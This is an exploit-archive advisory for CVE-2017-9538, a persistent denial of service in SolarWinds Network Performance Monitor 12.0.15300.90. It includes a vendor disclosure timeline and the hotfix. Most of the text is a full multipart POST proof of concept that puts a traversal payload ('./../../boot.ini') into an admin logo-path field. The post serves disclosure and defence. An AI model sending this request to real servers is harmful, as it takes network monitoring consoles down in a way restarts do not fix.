Exploit the possiblities

SolarWinds Network Performance Monitor 12.0.15300.90 Denial Of Service

SolarWinds Network Performance Monitor 12.0.15300.90 Denial Of Service
Posted Sep 29, 2017
Authored by Andy Tan

SolarWinds Network Performance Monitor version 12.0.15300.90 suffers from a denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2017-9538
MD5 | d05f6a9ed982b28617054ce1a9b8fe21

SolarWinds Network Performance Monitor 12.0.15300.90 Denial Of Service

Change Mirror Download
-------------------------------------------------------------
Vulnerability type: Persistent Application Denial of Service
-------------------------------------------------------------
Credit: Andy Tan
CVE ID: CVE-2017-9538
-----------------------------------------------
Product: SolarWinds Network Performance Monitor
-----------------------------------------------
Affected version: SolarWinds Network Performance Monitor version 12.0.15300.90 and possibly earlier
Hotfix: SolarWinds Orion Platform 2017.3 Hotfix 1

Description: An attacker has to inject an arbitrary payload e.g. ../../../boot.ini into the vulnerable field. After successful submission, the entire web application will encounter an error message displaying 'Unexpected Website Error, Cannot use a leading .. to exit above the top directory'. In other words, the denial of service is caused by an incorrect implementation of a directory-traversal protection mechanism. Restarting the service and the entire server itself does not resolve this issue.

Affected URL: https://<ip>/Orion/Admin/Settings.aspx
Navigation: Settings -> Web Console Settings -> Site Logo -> Upload logo from external path
Affected parameter: ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$logoPath


================
Proof of Concept
================
POST /Orion/Admin/Settings.aspx HTTP/1.1

<Fill up rest of the headers>



-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="__AntiXsrfTokenInput"



b752b8b9beec4c46ab90559cfcd2bc01

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00_ctl00_ctl00_BodyContent_ContentPlaceHolder1_adminContentPlaceholder_fileUploadImage_ClientState"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="__EVENTTARGET"



ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$imgbtnSubmit

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="__EVENTARGUMENT"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00_ctl00_ctl00_BodyContent_ContentPlaceHolder1_adminContentPlaceholder_fileUploadImageNoc_ClientState"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="__VIEWSTATE"



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-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"



8442CAB0

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbSessionTimeout"



25

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlWindowsAccountLogin"



False

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbAutoRefresh"



5

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$logoCb"



on

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$fileUploadImage$ctl00"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$fileUploadImage$ctl02"; filename=""

Content-Type: application/octet-stream





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$logoFromUrlCb"



on

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$logoPath"



./../../boot.ini

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$nocLogoCb"



on

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$fileUploadImageNoc$ctl00"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$fileUploadImageNoc$ctl02"; filename=""

Content-Type: application/octet-stream





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$nocLogoPath"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbSiteLoginText"





-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbHelpServer"



http://www.SolarWinds.com

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlRollupWorstStatus"



False

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlNodeChildStatusParticipationRule"



*

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlNodeChildStatusDisplayMode"



NoBlink

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlTipsIntegration"



1

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$cbDragAndDropResources"



1

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$cbAuditingTrails"



on

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbChartAspect"



0.620000004768372

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbThumbnailAspect"



0.600000023841858

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbPercentile"



95

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbMaximumSeries"



10

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$chbShowDataPointsOnLines"



on

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$ddlFontSize"



1

-----------------------------180072296016649028841705926975

Content-Disposition: form-data; name="ctl00$ctl00$ctl00$BodyContent$ContentPlaceHolder1$adminContentPlaceholder$tbAutoRefreshActiveAlerts"



1

-----------------------------180072296016649028841705926975--



------------------------
Vendor contact timeline:
------------------------
2017-06-12: Contacted vendor.
2017-06-23: Vendor responded that bug jury completed and vulnerability is assigned to vNext milestone.
2017-08-22: Contacted vendor again.
2017-08-23: Vendor responded that hotfix will be released for all products shipping on Orion Core 2017.3
2017-09-28: Contacted vendor again.
2017-09-28: Vendor responded that the vulnerability is addressed in the recently released Hotfix for Core 2017.3
2017-09-29: Public disclosure.

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